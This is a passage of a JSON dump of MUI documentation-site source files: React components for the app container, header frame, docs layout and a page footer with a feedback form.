4.74992Z\" />\n          </symbol>\n        </svg>\n      </AppLayoutDocs>\n    </BrandingCssVarsProvider>\n  );\n}\n\nif (process.env.NODE_ENV !== 'production') {\n  ApiPage.propTypes = exactProp({\n    defaultLayout: PropTypes.oneOf(['collapsed', 'expanded', 'table']),\n    descriptions: PropTypes.object.isRequired,\n    disableAd: PropTypes.bool,\n    layoutStorageKey: PropTypes.shape({\n      classes: PropTypes.string,\n      props: PropTypes.string,\n      slots: PropTypes.string,\n    }),\n    pageContent: PropTypes.object.isRequired,\n  });\n}\n"
  },
  {
    "path": "docs/src/modules/components/AppContainer.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Container from '@mui/material/Container';\n\nconst StyledAppContainer = styled(Container)(({ theme }) => {\n  return {\n    paddingTop: `calc(var(--MuiDocs-header-height) + ${theme.spacing(4)})`,\n    // We're mostly hosting text content so max-width by px does not make sense considering font-size is system-adjustable.\n    // 105ch ≈ 930px\n    fontFamily: 'Arial',\n    maxWidth: '105ch',\n    [theme.breakpoints.up('lg')]: {\n      paddingLeft: theme.spacing(8),\n      paddingRight: theme.spacing(8),\n    },\n  };\n});\n\nexport default function AppContainer(props) {\n  return <StyledAppContainer id=\"main-content\" maxWidth={false} {...props} />;\n}\n"
  },
  {
    "path": "docs/src/modules/components/AppFrame.tsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { styled, alpha } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Stack from '@mui/material/Stack';\nimport IconButton from '@mui/material/IconButton';\nimport Tooltip from '@mui/material/Tooltip';\nimport Box from '@mui/material/Box';\nimport SettingsIcon from '@mui/icons-material/SettingsOutlined';\nimport GitHubIcon from '@mui/icons-material/GitHub';\nimport SvgHamburgerMenu from 'docs/src/icons/SvgHamburgerMenu';\nimport AppNavDrawer from 'docs/src/modules/components/AppNavDrawer';\nimport AppSettingsDrawer from 'docs/src/modules/components/AppSettingsDrawer';\nimport Notifications from 'docs/src/modules/components/Notifications';\nimport PageContext from '@mui/docs/PageContext';\nimport { useTranslate } from '@mui/docs/i18n';\nimport LogoWithCopyMenu from 'docs/src/components/action/LogoWithCopyMenu';\nimport AppFrameBanner from 'docs/src/components/banner/AppFrameBanner';\nimport { DemoPageThemeProvider } from 'docs/src/theming';\nimport SearchButton from './SearchButton';\n\nconst sx = { minWidth: { sm: 160 } };\n\nconst AppSearch = React.lazy(() => import('docs/src/modules/components/AppSearch'));\n\nexport function DeferredAppSearch() {\n  return (\n    <React.Suspense fallback={<SearchButton sx={sx} />}>\n      <AppSearch sx={sx} />\n    </React.Suspense>\n  );\n}\n\nconst RootDiv = styled('div')(({ theme }) => {\n  return {\n    display: 'flex',\n    ...theme.applyDarkStyles({\n      background: (theme.vars || theme).palette.primaryDark[900],\n    }),\n    // TODO: Should be handled by the main component\n  };\n});\n\nconst StyledAppBar = styled(AppBar, {\n  shouldForwardProp: (prop) => prop !== 'disablePermanent',\n})<{ disablePermanent: boolean }>(({ theme }) => {\n  return {\n    padding: theme.spacing(1.5),\n    transition: theme.transitions.create('width'),\n    justifyContent: 'center',\n    boxShadow: 'none',\n    backdropFilter: 'blur(8px)',\n    borderBottom: `1px solid ${(theme.vars || theme).palette.divider}`,\n    backgroundColor: 'hsla(0, 0%, 100%, 0.6)',\n    color: (theme.vars || theme).palette.grey[800],\n    ...theme.applyDarkStyles({\n      backgroundColor: alpha(theme.palette.primaryDark[900], 0.6),\n      color: (theme.vars || theme).palette.grey[500],\n    }),\n    variants: [\n      {\n        props: ({ disablePermanent }) => disablePermanent,\n        style: {\n          boxShadow: 'none',\n        },\n      },\n      {\n        props: ({ disablePermanent }) => !disablePermanent,\n        style: {\n          [theme.breakpoints.up('lg')]: {\n            width: 'calc(100% - var(--MuiDocs-navDrawer-width))',\n          },\n        },\n      },\n    ],\n  };\n});\n\nconst NavIconButton = styled(IconButton, {\n  shouldForwardProp: (prop) => prop !== 'disablePermanent',\n})<{ disablePermanent: boolean }>(({ theme }) => ({\n  variants: [\n    {\n      props: {\n        disablePermanent: false,\n      },\n      style: {\n        [theme.breakpoints.up('lg')]: {\n          display: 'none',\n        },\n      },\n    },\n  ],\n}));\n\nconst StyledAppNavDrawer = styled(AppNavDrawer)(({ theme }) => ({\n  variants: [\n    {\n      props: {\n        disablePermanent: false,\n      },\n      style: {\n        [theme.breakpoints.up('lg')]: {\n          flexShrink: 0,\n          width: 'var(--MuiDocs-navDrawer-width)',\n        },\n      },\n    },\n  ],\n}));\n\nexport const HEIGHT = 57;\n\nexport interface AppFrameProps {\n  BannerComponent?: React.ElementType;\n  children: React.ReactNode;\n  className?: string;\n  disableDrawer?: boolean;\n}\n\nexport default function AppFrame(props: AppFrameProps) {\n  const { children, disableDrawer = false, className, BannerComponent = AppFrameBanner } = props;\n  const t = useTranslate();\n\n  const [mobileOpen, setMobileOpen] = React.useState(false);\n  const [settingsOpen, setSettingsOpen] = React.useState(false);\n\n  const closeDrawer = React.useCallback(() => setMobileOpen(false), []);\n  const openDrawer = React.useCallback(() => setMobileOpen(true), []);\n\n  const { activePage, productIdentifier } = React.useContext(PageContext);\n\n  const disablePermanent = activePage?.disableDrawer === true || disableDrawer === true;\n  return (\n    <DemoPageThemeProvider>\n      <RootDiv className={className}>\n        <StyledAppBar\n          disablePermanent={disablePermanent}\n          sx={{ minHeight: 'var(--MuiDocs-header-height)' }}\n        >\n          <GlobalStyles\n            styles={{\n              ':root': {\n                '--MuiDocs-header-height': `${HEIGHT}px`,\n              },\n            }}\n          />\n          <Stack direction=\"row\" sx={{ alignItems: 'center', position: 'relative', width: '100%' }}>\n            <NavIconButton\n              edge=\"start\"\n              color=\"primary\"\n              size=\"small\"\n              aria-label={t('appFrame.openDrawer')}\n              disablePermanent={disablePermanent}\n              onClick={() => setMobileOpen(true)}\n              sx={{ ml: '1px' }}\n            >\n              <SvgHamburgerMenu />\n            </NavIconButton>\n            <Box sx={{ display: { xs: 'flex', md: 'flex', lg: 'none' } }}>\n              <LogoWithCopyMenu\n                logo={productIdentifier.logo}\n                logoSvgString={productIdentifier.logoSvg}\n                wordmarkSvgString={productIdentifier.wordmarkSvg}\n                marginLeft\n              />\n            </Box>\n            <Stack direction=\"row\" spacing={1} useFlexGap sx={{ ml: 'auto' }}>\n              <BannerComponent />\n              <DeferredAppSearch />\n              <Tooltip title={t('appFrame.github')} enterDelay={300}>\n                <IconButton\n                  component=\"a\"\n                  color=\"primary\"\n                  size=\"small\"\n                  href={process.env.SOURCE_CODE_REPO}\n                  data-ga-event-category=\"header\"\n                  data-ga-event-action=\"github\"\n                >\n                  <GitHubIcon fontSize=\"small\" />\n                </IconButton>\n              </Tooltip>\n              <Notifications />\n              <Tooltip title={t('appFrame.toggleSettings')} enterDelay={300}>\n                <IconButton color=\"primary\" size=\"small\" onClick={() => setSettingsOpen(true)}>\n                  <SettingsIcon fontSize=\"small\" />\n                </IconButton>\n              </Tooltip>\n            </Stack>\n          </Stack>\n        </StyledAppBar>\n        <StyledAppNavDrawer\n          disablePermanent={disablePermanent}\n          onClose={closeDrawer}\n          onOpen={openDrawer}\n          mobileOpen={mobileOpen}\n        />\n        {children}\n        <AppSettingsDrawer onClose={() => setSettingsOpen(false)} open={settingsOpen} />\n      </RootDiv>\n    </DemoPageThemeProvider>\n  );\n}\n\nAppFrame.propTypes = {\n  BannerComponent: PropTypes.elementType,\n  children: PropTypes.node.isRequired,\n  className: PropTypes.string,\n  disableDrawer: PropTypes.bool,\n};\n"
  },
  {
    "path": "docs/src/modules/components/AppLayoutDocs.d.ts",
    "content": "import * as React from 'react';\n\nexport interface AppLayoutDocsProps {\n  BannerComponent?: React.ElementType;\n  cardOptions?: {\n    description: string;\n    title: string;\n  };\n  children: React.ReactNode;\n  description: string;\n  disableAd: boolean;\n  disableLayout?: boolean;\n  disableToc: boolean;\n  hasTabs?: boolean;\n  location: string;\n  title: string;\n  toc: any[];\n}\n\ndeclare const AppLayoutDocs: React.ComponentType<AppLayoutDocsProps>;\n\nexport default AppLayoutDocs;\n"
  },
  {
    "path": "docs/src/modules/components/AppLayoutDocs.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { useRouter } from 'next/router';\nimport { styled } from '@mui/material/styles';\nimport { exactProp } from '@mui/utils';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport {\n  AdManager,\n  AD_MARGIN_TOP,\n  AD_HEIGHT,\n  AD_HEIGHT_MOBILE,\n  AD_MARGIN_BOTTOM,\n} from '@mui/docs/Ad';\nimport Head from 'docs/src/modules/components/Head';\nimport AppFrame from 'docs/src/modules/components/AppFrame';\nimport AppContainer from 'docs/src/modules/components/AppContainer';\nimport AppTableOfContents from 'docs/src/modules/components/AppTableOfContents';\nimport { TOC_WIDTH } from 'docs/src/modules/components/TableOfContents';\nimport AppLayoutDocsFooter from 'docs/src/modules/components/AppLayoutDocsFooter';\nimport BackToTop from 'docs/src/modules/components/BackToTop';\nimport getProductInfoFromUrl from '@mui/docs/getProductInfoFromUrl';\nimport { convertProductIdToName } from 'docs/src/modules/components/AppSearch';\n\nconst Main = styled('main', {\n  shouldForwardProp: (prop) => prop !== 'disableToc' && prop !== 'wideLayout',\n})(({ theme }) => ({\n  minHeight: '100vh',\n  display: 'grid',\n  width: '100%',\n  '& .markdown-body .comment-link': {\n    display: 'flex',\n  },\n  variants: [\n    {\n      props: ({ disableToc }) => disableToc,\n      style: {\n        [theme.breakpoints.up('lg')]: {\n          marginRight: TOC_WIDTH / 2,\n        },\n      },\n    },\n    {\n      props: ({ disableToc, wideLayout }) => !disableToc && !wideLayout,\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          gridTemplateColumns: '1fr auto',\n        },\n        [theme.breakpoints.up('md')]: {\n          gridTemplateColumns: `1fr ${TOC_WIDTH}px`,\n        },\n      },\n    },\n    {\n      props: ({ disableToc, wideLayout }) => !disableToc && wideLayout,\n      style: {\n        [theme.breakpoints.up('sm')]: {\n          gridTemplateColumns: '1fr auto',\n        },\n        [`@media (min-width:${theme.breakpoints.values.xl + TOC_WIDTH}px)`]: {\n          gridTemplateColumns: `1fr ${TOC_WIDTH}px`,\n        },\n      },\n    },\n  ],\n}));\n\nconst StyledAppContainer = styled(AppContainer, {\n  shouldForwardProp: (prop) =>\n    prop !== 'disableAd' && prop !== 'hasTabs' && prop !== 'disableToc' && prop !== 'wideLayout',\n})(({ theme }) => {\n  return {\n    position: 'relative',\n    // By default, a grid item cannot be smaller than the size of its content.\n    // https://stackoverflow.com/questions/43311943/prevent-content-from-expanding-grid-items\n    minWidth: 0,\n    [theme.breakpoints.up('lg')]: {\n      paddingLeft: '60px',\n      paddingRight: '60px',\n    },\n    variants: [\n      {\n        props: ({ disableToc, wideLayout }) => disableToc && !wideLayout,\n        style: {\n          // 105ch ≈ 930px\n          maxWidth: `calc(105ch + ${TOC_WIDTH / 2}px)`,\n        },\n      },\n      {\n        props: ({ disableToc, wideLayout }) => !disableToc && !wideLayout,\n        style: {\n          // We're mostly hosting text content so max-width by px does not make sense considering font-size is system-adjustable.\n          fontFamily: 'Arial',\n          // 105ch ≈ 930px\n          maxWidth: '105ch',\n        },\n      },\n      {\n        props: ({ disableToc, wideLayout }) => !disableToc && wideLayout,\n        style: {\n          maxWidth: theme.breakpoints.values.xl,\n          '& p, & li': {\n            maxWidth: '105ch',\n          },\n        },\n      },\n      {\n        props: ({ disableAd, hasTabs }) => !disableAd && hasTabs,\n        style: {\n          '&& .component-tabs .MuiTabs-root': {\n            // 40px matches MarkdownElement h2 margin-top.\n            marginBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT_MOBILE}px + 40px)`,\n            [theme.breakpoints.up('sm')]: {\n              marginBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT}px + 40px)`,\n            },\n          },\n          '&& .component-tabs.ad .MuiTabs-root': {\n            marginBottom: 0,\n          },\n        },\n      },\n      {\n        props: ({ disableAd, hasTabs }) => !disableAd && !hasTabs,\n        style: {\n          '&& .description': {\n            marginBottom: theme.spacing(AD_MARGIN_BOTTOM),\n            paddingBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT_MOBILE}px)`,\n            [theme.breakpoints.up('sm')]: {\n              paddingBottom: `calc(${theme.spacing(AD_MARGIN_TOP)} + ${AD_HEIGHT}px)`,\n            },\n          },\n          '&& .description.ad': {\n            paddingBottom: 0,\n            marginBottom: 0,\n          },\n        },\n      },\n    ],\n  };\n});\n\nexport default function AppLayoutDocs(props) {\n  const router = useRouter();\n  const {\n    BannerComponent,\n    cardOptions,\n    children,\n    description,\n    disableAd = false,\n    // TODO, disableLayout should be the default, retaining the layout between pages\n    // improves the UX. It's faster to transition, and you don't lose UI states, like scroll.\n    disableLayout = false,\n    disableToc = false,\n    wideLayout = false,\n    hasTabs = false,\n    location,\n    title,\n    toc,\n  } = props;\n\n  if (description === undefined) {\n    throw new Error('Missing description in the page');\n  }\n\n  const productName = convertProductIdToName(getProductInfoFromUrl(router.asPath));\n  if (!productName) {\n    console.error('productName mapping missing for', router.asPath);\n  }\n\n  const Layout = disableLayout ? React.Fragment : AppFrame;\n  const layoutProps = disableLayout ? {} : { BannerComponent };\n\n  const card = `/edge-functions/og-image?product=${productName}&title=${cardOptions?.title ?? title}&description=${cardOptions?.description ?? description}`;\n  return (\n    <Layout {...layoutProps}>\n      <GlobalStyles\n        styles={{\n          ':root': {\n            '--MuiDocs-navDrawer-width': '300px',\n          },\n        }}\n      />\n      <AdManager {...(hasTabs && { classSelector: '.component-tabs' })}>\n        <Head\n          title={`${title}${productName ? ` - ${productName}` : ''}`}\n          description={description}\n          card={card}\n        />\n        <Main disableToc={disableToc} wideLayout={wideLayout}>\n          {/*\n            Render the TOCs first to avoid layout shift when the HTML is streamed.\n            See https://jakearchibald.com/2014/dont-use-flexbox-for-page-layout/ for more details.\n          */}\n          <StyledAppContainer\n            disableAd={disableAd}\n            hasTabs={hasTabs}\n            disableToc={disableToc}\n            wideLayout={wideLayout}\n          >\n            {children}\n            <AppLayoutDocsFooter tableOfContents={toc} location={location} />\n          </StyledAppContainer>\n          {disableToc ? null : <AppTableOfContents toc={toc} wideLayout={wideLayout} />}\n          <BackToTop />\n        </Main>\n      </AdManager>\n    </Layout>\n  );\n}\n\nAppLayoutDocs.propTypes = {\n  BannerComponent: PropTypes.elementType,\n  cardOptions: PropTypes.shape({\n    description: PropTypes.string,\n    title: PropTypes.string,\n  }),\n  children: PropTypes.node.isRequired,\n  wideLayout: PropTypes.bool,\n  description: PropTypes.string.isRequired,\n  disableAd: PropTypes.bool.isRequired,\n  disableLayout: PropTypes.bool,\n  disableToc: PropTypes.bool.isRequired,\n  hasTabs: PropTypes.bool,\n  location: PropTypes.string.isRequired,\n  title: PropTypes.string.isRequired,\n  toc: PropTypes.array.isRequired,\n};\n\nif (process.env.NODE_ENV !== 'production') {\n  AppLayoutDocs.propTypes = exactProp(AppLayoutDocs.propTypes);\n}\n"
  },
  {
    "path": "docs/src/modules/components/AppLayoutDocsFooter.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled, useTheme } from '@mui/material/styles';\n// Components\nimport DialogActions from '@mui/material/DialogActions';\nimport TextField from '@mui/material/TextField';\nimport Collapse from '@mui/material/Collapse';\nimport Button from '@mui/material/Button';\nimport Alert from '@mui/material/Alert';\nimport Divider from '@mui/material/Divider';\nimport Typography from '@mui/material/Typography';\nimport Tooltip from '@mui/material/Tooltip';\nimport Stack from '@mui/material/Stack';\nimport Snackbar from '@mui/material/Snackbar';\nimport IconButton from '@mui/material/IconButton';\nimport CircularProgress from '@mui/material/CircularProgress';\n// Icons\nimport ThumbUpAltRoundedIcon from '@mui/icons-material/ThumbUpAltRounded';\nimport ThumbDownAltRoundedIcon from '@mui/icons-material/ThumbDownAltRounded';\nimport ChevronRightIcon from '@mui/icons-material/ChevronRight';\nimport ChevronLeftIcon from '@mui/icons-material/ChevronLeft';\nimport PanToolRoundedIcon from '@mui/icons-material/PanToolRounded';\nimport ArrowOutwardRoundedIcon from '@mui/icons-material/ArrowOutwardRounded';\nimport XIcon from '@mui/icons-material/X';\nimport YouTubeIcon from '@mui/icons-material/YouTube';\nimport RssFeedIcon from '@mui/icons-material/RssFeed';\n// Other imports\nimport { Link } from '@mui/docs/Link';\nimport PageContext from '@mui/docs/PageContext';\nimport SvgMuiLogotype from 'docs/src/icons/SvgMuiLogotype';\nimport EditPage from 'docs/src/modules/components/EditPage';\nimport { useUserLanguage, useTranslate } from '@mui/docs/i18n';\nimport { pageToTitleI18n } from '@mui/docs/helpers';\nimport useLocalStorageState from '@mui/utils/useLocalStorageState';\n\nconst FooterLink = styled(Link)(({ theme }) => {\n  return {\n    display: 'flex',\n    alignItems: 'center',\n    gap: 2,\n    fontFamily: theme.typography.fontFamily,\n    fontSize: theme.typography.pxToRem(13),\n    fontWeight: theme.typography.fontWeightMedium,\n    color: (theme.vars || theme).palette.primary[600],\n    '& > svg': { fontSize: '13px', transition: '0.2s' },\n    '&:hover > svg': { transform: 'translateX(2px)' },\n    ...theme.applyDarkStyles({\n      color: (theme.vars || theme).palette.primary[300],\n    }),\n  };\n});\n\n/**\n * @typedef {import('@mui/docs/MuiPage').MuiPage} MuiPage\n * @typedef {import('@mui/docs/MuiPage').OrderedMuiPage} OrderedMuiPage\n */\n\n/**\n * This function is flattening the pages tree and extracts all the leaves that are internal pages.\n * To extract the leaves, it skips all the nodes that have at least one child.\n * @param {MuiPage[]} pages\n * @param {MuiPage[]} [current]\n * @returns {OrderedMuiPage[]}\n */\nfunction orderedPages(pages, current = []) {\n  return pages\n    .reduce((items, item) => {\n      if (item.children && item.children.length > 0) {\n        items = orderedPages(item.children, items);\n      } else {\n        items.push(item);\n      }\n      return items;\n    }, current)\n    .filter((page) => {\n      return (\n        page.inSideNav !== false &&\n        // ignore external pages\n        page.pathname.startsWith('/')\n      );\n    });\n}\n\nasync function submitFeedback(page, rating, comment, language, commentedSection, productId) {\n  const sentData = {\n    callback_id: 'send_feedback',\n    rating,\n    comment,\n    currentLocationURL: window.location.href,\n    commentSectionURL: `${window.location.origin}${window.location.pathname}#${commentedSection.hash}`,\n    commentSectionTitle: commentedSection.text,\n    githubRepo: process.env.SOURCE_CODE_REPO,\n    productId,\n  };\n  if (!comment || comment.length < 10) {\n    return 'ignored';\n  }\n\n  try {\n    const res = await fetch(`${window.location.origin}/.netlify/functions/feedback-management/`, {\n      method: 'POST',\n      headers: { 'content-type': 'application/x-www-form-urlencoded' },\n      // Seems tricky but it's to match how slack send data\n      body: `payload=${encodeURIComponent(JSON.stringify(sentData))}`,\n    });\n    if (!res.ok) {\n      throw new Error(`HTTP ${res.status}: ${res.statusText}`);\n    }\n    return 'sent';\n  } catch (error) {\n    console.error(error);\n    return null;\n  }\n\n  /**\n   Not used because I ignore how to encode that with:\n      'content-type': 'application/x-www-form-urlencoded'\n\n   const complexSlackMessage = {\n     blocks: [\n       {\n         type: 'header',\n         text: {\n           type: 'plain_text',\n           text: `New comment ${rating > 0 ? '👍' : '👎'}`,\n           emoji: true,\n         },\n       },\n       {\n         type: 'section',\n         text: {\n           type: 'plain_text',\n           text: comment,\n           emoji: true,\n         },\n       },\n       {\n         type: 'section',\n         text: {\n           type: 'mrkdwn',\n           text: `v: ${version}, lang: ${language}`,\n         },\n         accessory: {\n           type: 'button',\n           text: {\n             type: 'plain_text',\n             text: 'Go to the page',\n             emoji: true,\n           },\n           url: window.location.host,\n         },\n       },\n     ],\n   };\n  */\n}\n\n/**\n * @returns { { prevPage: OrderedMuiPage | null; nextPage: OrderedMuiPage | null } }\n */\nfunction usePageNeighbours() {\n  const { activePage, pages } = React.useContext(PageContext);\n  const pageList = orderedPages(pages);\n  const currentPageNum = pageList.indexOf(activePage);\n\n  if (currentPageNum === -1) {\n    return { prevPage: null, nextPage: null };\n  }\n\n  const prevPage = pageList[currentPageNum - 1] ?? null;\n  const nextPage = pageList[currentPageNum + 1] ?? null;\n\n  return { prevPage, nextPage };\n}\n\nconst EMPTY_SECTION = { hash: '', text: '' };\n\n// The design feedback alert was removed in https://github.com/mui/material-ui/pull/39691\n// This dead code is here to simplify the creation of special feedback channel\nconst SPEACIAL_FEEDBACK_HASH = [{ hash: 'new-docs-api-feedback', text: 'New API content design' }];\n\nconst iconColor = 'grey.500';\n\nexport default function AppLayoutDocsFooter(props) {\n  const { tableOfContents = [], location } = props;\n\n  const theme = useTheme();\n  const t = useTranslate();\n  const userLanguage = useUserLanguage();\n  const { activePage, productId } = React.useContext(PageContext);\n  const [storedRating, setRating] = useLocalStorageState(`feedback-${activePage?.pathname}`);\n  const [comment, setComment] = React.useState('');\n  const [loading, setLoading] = React.useState(false);\n  const [snackbarOpen, setSnackbarOpen] = React.useState(false);\n  const [snackbarMessage, setSnackbarMessage] = React.useState(false);\n  const inputRef = React.useRef();\n  const [commentOpen, setCommentOpen] = React.useState(false);\n  const [commentedSection, setCommentedSection] = React.useState(EMPTY_SECTION);\n\n  const rating = storedRating ? Number(storedRating) : null;\n\n  const { nextPage, prevPage } = usePageNeighbours();\n\n  const sectionOptions = React.useMemo(\n    () =>\n      tableOfContents.flatMap((section) => [\n        {\n          hash: section.hash,\n          text: section.text,\n        },\n        ...section.children.map(({ hash, text }) => ({ hash, text })),\n      ]),\n    [tableOfContents],\n  );\n\n  async function processFeedback() {\n    try {\n      setLoading(true);\n\n      if (activePage === null) {\n        setSnackbarMessage(t('feedbackFailed'));\n      }\n\n      const result = await submitFeedback(\n        activePage.pathname,\n        rating,\n        comment,\n        userLanguage,\n        commentedSection,\n        productId,\n      );\n\n      if (result) {\n        setSnackbarMessage(t('feedbackSubmitted'));\n      } else {\n        setSnackbarMessage(t('feedbackFailed'));\n      }\n      setSnackbarOpen(true);\n    } finally {\n      setLoading(false);\n    }\n  }\n\n  const handleClickThumb = (vote) => async () => {\n    if (vote !== rating) {\n      setRating(vote);\n      setCommentOpen(true);\n    }\n\n    // Manually move focus if comment is already open.\n    // If the comment is closed, onEntered will call focus itself;\n    if (inputRef.current) {\n      inputRef.current.focus();\n    }\n  };\n\n  const handleChangeTextfield = (event) => {\n    setComment(event.target.value);\n  };\n\n  const handleSubmitComment = (event) => {\n    event.preventDefault();\n    // Block more than one submission.\n    // Technically, setState() is async in React, so a ninja user could still\n    // manage to trigger a double form submission. Still, let's wait and see\n    // before adding the overhead of a React ref to solve this.\n    if (!commentOpen) {\n      return;\n    }\n    setCommentOpen(false);\n    processFeedback();\n  };\n\n  // See https://github.com/mui/toolpad/issues/1164 for context.\n  const handleKeyDownForm = (event) => {\n    const modifierKey = (event.metaKey || event.ctrlKey) && !event.shiftKey;\n\n    if (event.key === 'Enter' && modifierKey) {\n      const submitButton = event.currentTarget.querySelector('[type=\"submit\"]');\n      submitButton.click();\n    }\n  };\n\n  const handleCancelComment = () => {\n    setCommentOpen(false);\n    setCommentedSection(EMPTY_SECTION);\n  };\n\n  const handleEntered = () => {\n    inputRef.current.focus();\n  };\n\n  const handleCloseSnackbar = () => {\n    setSnackbarOpen(false);\n  };\n\n  React.useEffect(() => {\n    const eventListener = (event) => {\n      const feedbackHash = event.target.getAttribute('data-feedback-hash');\n      if (feedbackHash) {\n        const section =\n          [...sectionOptions, ...SPEACIAL_FEEDBACK_HASH].find(\n            (item) => item.hash === feedbackHash,\n          ) || EMPTY_SECTION;\n        setCommentOpen(true);\n        setCommentedSection(section);\n\n        // Manually move focus if comment is already open.\n        // If the comment is closed, onEntered will call focus itself;\n        if (inputRef.current) {\n          inputRef.current.focus();\n        }\n      }\n    };\n    document.addEventListener('click', eventListener);\n    return () => {\n      document.removeEventListener('click', eventListener);\n    };\n  }, [sectionOptions]);\n\n  const hidePagePagination = activePage === null || activePage.ordered === false;\n\n  return (\n    <React.Fragment>\n      <Stack component=\"footer\" direction=\"column\" sx={{ my: 4 }}>\n        <Stack\n          direction={{ xs: 'column', sm: 'row' }}\n          spacing={{ xs: 3, sm: 1 }}\n          sx={{ alignItems: 'center', justifyContent: 'space-between' }}\n        >\n          <EditPage sourceLocation={location} />\n          <Stack direction=\"row\" spacing={0.5} useFlexGap sx={{ alignItems: 'center' }}>\n            <Typography id=\"feedback-message\" variant=\"body2\" sx={{ color: 'text.secondary' }}>\n              {t('feedbackMessage')}\n            </Typography>\n            <Tooltip title={t('feedbackYes')}>\n              <IconButton\n                onClick={handleClickThumb(1)}\n                disabled={loading}\n                aria-pressed={rating === 1}\n                sx={{ fontSize: 15, color: rating === 1 ? 'primary.main' : 'text.secondary' }}\n              >\n                {rating === 1 && loading ? (\n                  <CircularProgress size={15} />\n                ) : (\n                  <ThumbUpAltRoundedIcon fontSize=\"inherit\" />\n                )}\n              </IconButton>\n            </Tooltip>\n            <Tooltip title={t('feedbackNo')}>\n              <IconButton\n                onClick={handleClickThumb(0)}\n                disabled={loading}\n                aria-pressed={rating === 0}\n                sx={{ fontSize: 15, color: rating === 0 ? 'error.main' : 'text.secondary' }}\n              >\n                {rating === 0 && loading ? (\n                  <CircularProgress size={15} />\n                ) : (\n                  <ThumbDownAltRoundedIcon fontSize=\"inherit\" />\n                )}\n              </IconButton>\n            </Tooltip>\n          </Stack>\n        </Stack>\n        {/* Wrapper div to fix Collapse close animation */}\n        <div>\n          <Collapse\n            in={commentOpen}\n            unmountOnExit\n            onEntered={handleEntered}\n            timeout={{ enter: 0, exit: theme.transitions.duration.standard }}\n          >\n            <Divider sx={{ my: 2, borderStyle: 'dashed' }} />\n            {/* eslint-disable-next-line jsx-a11y/no-noninteractive-element-interactions */}\n            <form\n              aria-labelledby=\"feedback-message\"\n              onReset={handleCancelComment}\n              onSubmit={handleSubmitComment}\n              onKeyDown={handleKeyDownForm}\n            >\n              <div>\n                {commentedSection.text ? (\n                  <Typography\n                    variant=\"body2\"\n                    id=\"feedback-description\"\n                    dangerouslySetInnerHTML={{\n                      __html: t('feedbackSectionSpecific').replace(\n                        '{{sectionName}}',\n                        `\"${commentedSection.text}\"`,\n                      ),\n                    }}\n                    sx={{ color: 'text.secondary' }}\n                  />\n                ) : (\n                  <Typography id=\"feedback-description\" sx={{ color: 'text.secondary' }}>\n                    {rating === 1 ? t('feedbackMessageUp') : t('feedbackMessageDown')}\n                  </Typography>\n                )}\n                <TextField\n                  multiline\n                  margin=\"dense\"\n                  name=\"comment\"\n                  fullWidth\n                  rows={2}\n                  value={comment}\n                  onChange={handleChangeTextfield}\n                  slotProps={{\n                    htmlInput: {\n                      'aria-label': t('feedbackCommentLabel'),\n                      'aria-describedby': 'feedback-description',\n                      ref: inputRef,\n                    },\n                  }}\n                />\n                {rating !== 1 && typeof window !== 'undefined' && (\n                  <Alert\n                    severity=\"warning\"\n                    color=\"warning\"\n                    icon={<PanToolRoundedIcon fontSize=\"small\" />}\n                    sx={{ my: 1.5 }}\n                  >\n                    <Typography id=\"feedback-description\">\n                      {t('feedbackMessageToGitHub.usecases')}{' '}\n                      <Link\n                        href={`${process.env.SOURCE_CODE_REPO}/issues/new?template=${process.env.GITHUB_TEMPLATE_DOCS_FEEDBACK}&page-url=${window.location.href}`}\n                        target=\"_blank\"\n                        underline=\"always\"\n                        sx={{ fontWeight: 'semiBold' }}\n                      >\n                        {t('feedbackMessageToGitHub.callToAction.link')}\n                      </Link>{' '}\n                      {t('feedbackMessageToGitHub.reasonWhy')}\n                    </Typography>\n                  </Alert>\n                )}\n                <DialogActions>\n                  <Button type=\"reset\" size=\"small\">\n                    {t('cancel')}\n                  </Button>\n                  <Button type=\"submit\" variant=\"contained\" size=\"small\">\n                    {t('submit')}\n                  </Button>\n                </DialogActions>\n              </div>\n            </form>\n          </Collapse>\n        </div>\n        <Divider sx={{ my: 2 }} />\n        {hidePagePagination ? null : (\n          <Stack direction=\"row\" sx={{ justifyContent: 'space-between' }}>\n            {prevPage !== null ? (\n              <Button\n                size=\"small\"\n                variant=\"text\"\n                component={Link}\n                noLinkStyle\n                prefetch={false}\n                href={prevPage.pathname}\n                {...prevPage.linkProps}\n                startIcon={<ChevronLeftIcon />}\n              >\n                {pageToTitleI18n(prevPage, t)}\n              </Button>\n            ) : (\n              <div />\n            )}\n            {nextPage !== null ? (\n              <Button\n                size=\"small\"\n                component={Link}\n                noLinkStyle\n                prefetch={false}\n                href={nextPage.pathname}\n                {...nextPage.linkProps}\n                endIcon={<ChevronRightIcon />}\n              >\n                {pageToTitleI18n(nextPage, t)}\n              </Button>\n            ) : null}\n          </Stack>\n        )}\n        <Divider sx={{ my: 2 }} />\n        <Stack\n          direction={{ xs: 'column', sm: 'row' }}\n          spacing={{ xs: 3, sm: 1 }}\n          sx={{ alignItems: 'center' }}\n        >\n          <Stack direction=\"row\" spacing={1} useFlexGap sx={{ alignItems: 'center', flexGrow: 1 }}>\n            <Link href=\"https://mui.com/\" aria-label=\"Go to homepage\">\n              <SvgMuiLogotype height={28} width={64} />\n            </Link>\n            <Typography sx={{ color: 'grey.500', fontSize: 13, opacity: '70%' }}>&bull;</Typography>\n            <FooterLink href=\"https://mui.com/blog/\" target=\"_blank\" rel=\"noopener\">\n              Blog <ArrowOutwardRoundedIcon />\n            </FooterLink>\n            <Typography sx={{ color: 'grey.500', fontSize: 13, opacity: '70%' }}>&bull;</Typography>\n            <FooterLink href=\"https://mui.com/store/\" target=\"_blank\" rel=\"noopener\">\n              Store <ArrowOutwardRoundedIcon />\n            </FooterLink>\n          </Stack>\n          <Stack spacing={1} direction=\"row\" useFlexGap>\n            <IconButton\n              target=\"_blank\"\n              rel=\"noopener\"\n              href=\"https://x.com/MUI_hq\"\n              aria-label=\"X/twitter\"\n         